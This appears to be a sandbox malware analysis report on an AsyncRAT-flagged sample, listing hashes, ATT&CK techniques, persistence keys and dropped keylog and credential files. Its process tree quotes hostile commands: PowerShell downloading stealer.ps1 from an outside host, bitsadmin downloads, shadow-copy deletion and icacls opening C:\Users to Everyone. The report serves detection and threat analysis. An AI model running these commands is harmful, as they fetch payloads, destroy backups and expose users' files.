asyncrat | a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
21/04/2026, 19:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Size 43KB
Sample260421-ya4e5abs9q
SHA256 a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1
MD5 4f368e96f204d5311c3dc5fd6afad4f3
SHA1 670a510cd8a9447eefc0753936eab2b575d33db1
SHA512 319fd16998417e2cba9872856f505d508d68180dcf301ccf95652c1760161dca900297a20e05f8cf01520171099a154c15dc724f06c273cc61f95d550b54effa
SSDEEP 768:3q7x+KuBDinmIRfHYWnT/lxBQSvSRCf8guRbheuoVNtrZLv9D+:vBDiOWT/HBZqQUguRbguINXLv9D+
TLSH
T1861339007BFC1A25F2FE4BBCA87952454276F9239932C34E1CC4509E1AA37C0AA51FE2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery dropper execution asyncrat impact persistence ransomware rat stealer

Malware Config

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5688	powershell.exe
2200	powershell.exe

Download via BitsAdmin 1 TTPs 4 IoCs

dropper

BITS Jobs

T1197

pid	Process
3904	bitsadmin.exe
2156	bitsadmin.exe
2292	bitsadmin.exe
4256	bitsadmin.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\International\Geo\Nation	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\International\Geo\Nation	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
640	icacls.exe
3776	icacls.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityCenter = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsSystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsSystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemHelper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityCenter = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemHelper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

GoLang User-Agent 14 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	75	Go-http-client/1.1
HTTP User-Agent header	102	Go-http-client/1.1
HTTP User-Agent header	132	Go-http-client/1.1
HTTP User-Agent header	145	Go-http-client/1.1
HTTP User-Agent header	15	Go-http-client/1.1
HTTP User-Agent header	16	Go-http-client/1.1
HTTP User-Agent header	25	Go-http-client/1.1
HTTP User-Agent header	32	Go-http-client/1.1
HTTP User-Agent header	33	Go-http-client/1.1
HTTP User-Agent header	92	Go-http-client/1.1
HTTP User-Agent header	98	Go-http-client/1.1
HTTP User-Agent header	124	Go-http-client/1.1
HTTP User-Agent header	34	Go-http-client/1.1
HTTP User-Agent header	49	Go-http-client/1.1

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
5292	reg.exe
2960	reg.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5688	powershell.exe
5688	powershell.exe
5688	powershell.exe
2200	powershell.exe
2200	powershell.exe
2200	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	1848	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Token: SeDebugPrivilege	1268	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Token: SeDebugPrivilege	5688	powershell.exe
Token: SeIncreaseQuotaPrivilege	1732	WMIC.exe
Token: SeSecurityPrivilege	1732	WMIC.exe
Token: SeTakeOwnershipPrivilege	1732	WMIC.exe
Token: SeLoadDriverPrivilege	1732	WMIC.exe
Token: SeSystemProfilePrivilege	1732	WMIC.exe
Token: SeSystemtimePrivilege	1732	WMIC.exe
Token: SeProfSingleProcessPrivilege	1732	WMIC.exe
Token: SeIncBasePriorityPrivilege	1732	WMIC.exe
Token: SeCreatePagefilePrivilege	1732	WMIC.exe
Token: SeBackupPrivilege	1732	WMIC.exe
Token: SeRestorePrivilege	1732	WMIC.exe
Token: SeShutdownPrivilege	1732	WMIC.exe
Token: SeDebugPrivilege	1732	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1732	WMIC.exe
Token: SeRemoteShutdownPrivilege	1732	WMIC.exe
Token: SeUndockPrivilege	1732	WMIC.exe
Token: SeManageVolumePrivilege	1732	WMIC.exe
Token: 33	1732	WMIC.exe
Token: 34	1732	WMIC.exe
Token: 35	1732	WMIC.exe
Token: 36	1732	WMIC.exe
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeIncreaseQuotaPrivilege	5808	WMIC.exe
Token: SeSecurityPrivilege	5808	WMIC.exe
Token: SeTakeOwnershipPrivilege	5808	WMIC.exe
Token: SeLoadDriverPrivilege	5808	WMIC.exe
Token: SeSystemProfilePrivilege	5808	WMIC.exe
Token: SeSystemtimePrivilege	5808	WMIC.exe
Token: SeProfSingleProcessPrivilege	5808	WMIC.exe
Token: SeIncBasePriorityPrivilege	5808	WMIC.exe
Token: SeCreatePagefilePrivilege	5808	WMIC.exe
Token: SeBackupPrivilege	5808	WMIC.exe
Token: SeRestorePrivilege	5808	WMIC.exe
Token: SeShutdownPrivilege	5808	WMIC.exe
Token: SeDebugPrivilege	5808	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5808	WMIC.exe
Token: SeRemoteShutdownPrivilege	5808	WMIC.exe
Token: SeUndockPrivilege	5808	WMIC.exe
Token: SeManageVolumePrivilege	5808	WMIC.exe
Token: 33	5808	WMIC.exe
Token: 34	5808	WMIC.exe
Token: 35	5808	WMIC.exe
Token: 36	5808	WMIC.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1848 wrote to memory of 2156	1848	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	87
PID 1848 wrote to memory of 4692	1848	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	89
PID 4692 wrote to memory of 5688	4692	cmd.exe	92
PID 1848 wrote to memory of 2436	1848	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	94
PID 2436 wrote to memory of 1732	2436	cmd.exe	96
PID 1848 wrote to memory of 1092	1848	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	97
PID 1268 wrote to memory of 2292	1268	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	99
PID 1848 wrote to memory of 212	1848	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	100
PID 1268 wrote to memory of 3016	1268	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	103
PID 1848 wrote to memory of 1324	1848	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	105
PID 1268 wrote to memory of 3160	1268	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	106
PID 1848 wrote to memory of 3372	1848	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	109
PID 1268 wrote to memory of 1672	1268	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	110
PID 212 wrote to memory of 640	212	cmd.exe	114
PID 3016 wrote to memory of 2200	3016	cmd.exe	115
PID 1848 wrote to memory of 1176	1848	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	116
PID 1268 wrote to memory of 2924	1268	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	117
PID 1324 wrote to memory of 2960	1324	cmd.exe	120
PID 3160 wrote to memory of 5808	3160	cmd.exe	121
PID 1848 wrote to memory of 5420	1848	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	122
PID 2924 wrote to memory of 3776	2924	cmd.exe	123
PID 1268 wrote to memory of 4388	1268	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	125
PID 3372 wrote to memory of 4256	3372	cmd.exe	127
PID 1268 wrote to memory of 4416	1268	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	128
PID 1268 wrote to memory of 4584	1268	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	130
PID 1268 wrote to memory of 2172	1268	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	132
PID 4388 wrote to memory of 5292	4388	cmd.exe	134
PID 4416 wrote to memory of 3904	4416	cmd.exe	135

C:\Users\Admin\AppData\Local\Temp\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
"C:\Users\Admin\AppData\Local\Temp\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1848
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer UltraBurnJob /download /priority high http://localhost/test %TEMP%\burn.dat
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2156
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -c "Invoke-WebRequest -Uri https://payload.xn--n8j214gc5bw6au22f3y7b.jp.net/stealer.ps1"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4692
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "Invoke-WebRequest -Uri https://payload.xn--n8j214gc5bw6au22f3y7b.jp.net/stealer.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5688
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic shadowcopy delete /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete /quiet
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1732
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1092
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "%SystemDrive%\Users" /grant Everyone:F /T
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:212
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users" /grant Everyone:F /T
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:640
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "xn--n8j214gc5bw6au22f3y7b.jp.net" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "xn--n8j214gc5bw6au22f3y7b.jp.net" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2960
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer job1 /download /priority high http://localhost/payload %TEMP%\payload.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /transfer job1 /download /priority high http://localhost/payload C:\Users\Admin\AppData\Local\Temp\payload.exe
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:4256
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Process hollowing & UAC bypass simulation > nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1176
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5420

C:\Users\Admin\AppData\Local\Temp\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
C:\Users\Admin\AppData\Local\Temp\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
1⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1268
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer UltraBurnJob /download /priority high http://localhost/test %TEMP%\burn.dat
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2292
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -c "Invoke-WebRequest -Uri https://payload.xn--n8j214gc5bw6au22f3y7b.jp.net/stealer.ps1"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "Invoke-WebRequest -Uri https://payload.xn--n8j214gc5bw6au22f3y7b.jp.net/stealer.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2200
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic shadowcopy delete /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete /quiet
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5808
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1672
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "%SystemDrive%\Users" /grant Everyone:F /T
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users" /grant Everyone:F /T
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:3776
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "xn--n8j214gc5bw6au22f3y7b.jp.net" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4388
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "xn--n8j214gc5bw6au22f3y7b.jp.net" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5292
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer job1 /download /priority high http://localhost/payload %TEMP%\payload.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4416
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /transfer job1 /download /priority high http://localhost/payload C:\Users\Admin\AppData\Local\Temp\payload.exe
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:3904
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Process hollowing & UAC bypass simulation > nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4584
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

BITS Jobs

T1197

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

BITS Jobs

T1197

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Windows Credential Manager

T1555.004

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_gc4l04tv.phd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gc4l04tv.phd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

chrome_login_data.log

Path C:\Users\Admin\AppData\Local\Temp\chrome_login_data.log
Size 55B
SHA256 9e496c6d73bf152e2d73cad0f55269b17e0c3b57289aa85d3c188367f9accbae
MD5 8f6ac28852beca3e94e6edb887d4ffe9
SHA1 d5473c04e63ab0e6a0120003ff760f206c9a4e8d
SHA512 43da2ed0f112462e3779ca348d3a0502ad3a75663ec5ccc1b0fd8631ee1380d55e7df742708cdb58bd99250e16b83a0cbd2034ae8f57cfa0acb7b29808c6d8c9
TLSH
T14F90022226EF2805300014C6F2A4999B81541911197C519C6928713104CC5577D79541
MD5 SHA1 SHA512 TLSH

Submit Download

clipboard_stolen.log

Path C:\Users\Admin\AppData\Local\Temp\clipboard_stolen.log
Size 31B
SHA256 fa892fb1f8270044a19012b7fc3686c59bb72154d3b19cafb4f6d1de1e581908
MD5 e3e8d758e169a2d1e1e064439873ff93
SHA1 262f1a46460018466660c2b21b862c70f3f3b5b9
SHA512 915ca4104fcc22b8f98f6597fba2a02c3c5a15bec7c8fb7368b4bcebf520f21156965db1ff0da9d5240179c079429a77976a3f10c413992c08c70d014647bc5d
MD5 SHA1 SHA512

Submit Download

exfil_full_browser_data.zip

Path C:\Users\Admin\AppData\Local\Temp\exfil_full_browser_data.zip
Size 31B
SHA256 c36c3ccfe27df471aca7a85ed6e6d5352b036c71a84bbafbd7f9c31130c91655
MD5 9f4bc516f8620179301177b870968fb1
SHA1 ee6eb14b850efa93feffe52a639713112a120280
SHA512 762a063eef3408f5a6a9800b1f507544aef93339d6c3450d02547d1eec89ab54491eb68f4e49bd1011bea1ea3a94b21233463a07d58a132d2839763f049f0ad7
MD5 SHA1 SHA512

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 161B
SHA256 70c96789ac563efcd5b654a33ebc4b3c477233ff66d3865ae6d886798616e7a6
MD5 01ae4d9933f972a99652b4e007ef8db2
SHA1 de03bd197707f52ae12b7b716f9001b5fd797be4
SHA512 44914a09e069c15609f0333ff85f857ba3e4365b42d34c1f0d5be592c3cfe564f798cb82eba2b6aafecd3f742b7892127be7653fda9adef3614cac69930c5431
TLSH
T1EEC08C2108D000D52308E6AD9C6F7B44251B2030B3002C8AECF4C080849CD013F28BCE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 291B
SHA256 dc8eb93932b5c97ff694ca81514e280fef52b3ac288493f10955e8c6df0cbf06
MD5 ed060e7cf553e3a756949c7a3ea59207
SHA1 37209e982751239ba8117ee675ff45db54e3cc47
SHA512 09bc01cfe92a282bad599abf737ed175e8e909959d3c64b7e9cd2997d8eb31c8eea9906aab4e9573736b7b22b0060a023246c607d850867e5c0839a40857e977
TLSH
T126D0622108D041EA2349E6AEDC6FFB45251B147477006D8AEDF4C095996DE057F29BCE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 421B
SHA256 ccbcbabb6a14d4acf694b0dc25d9a767975022ed69143f1e689b898fcd898ac5
MD5 9d017bfc6c6ec2fcba2553ee6d2a85be
SHA1 a928c00545bcc273f9d7f251706b764391508497
SHA512 151bfd53bd936d1d7f7f28baba179338bdd6419e26d61f68d5b1413dc48c23b02819248212144d091977935d329410be4438fb176166e05488e05b6caf2b5f78
TLSH
T1CAE0ED2108D001EA2349E2AEDC6FFB45211B147437006DCAEDF4C095A96DE067F29BCE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 486B
SHA256 4edd969dc2cc96551179bf6209011664983c652ddbea0986c642b772b75cada0
MD5 6c0e11b45a064c9d70273c2cd6f303d3
SHA1 69b9d58c6ca0f0f0467dc6b0af05f261758b2253
SHA512 51027b9ec37ddc22684d17b9f469fd865b1ebc64b4f6422f263148f398174c7f43c62053f50ad0ccc69eee26a76079b7d348fc8235a9dac909c6142f1890e2da
TLSH
T1E4F0AC2108D001EA2349E2AEDD6FFB45252B147437006DCAEDF4C0D5A96DE067F29BCE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 551B
SHA256 fe66ef02811d4e6880384d188cda00d449fa7ba81b103beef5e98ad0cb323971
MD5 79c2c7061ac5359d1e9de2c405e33d42
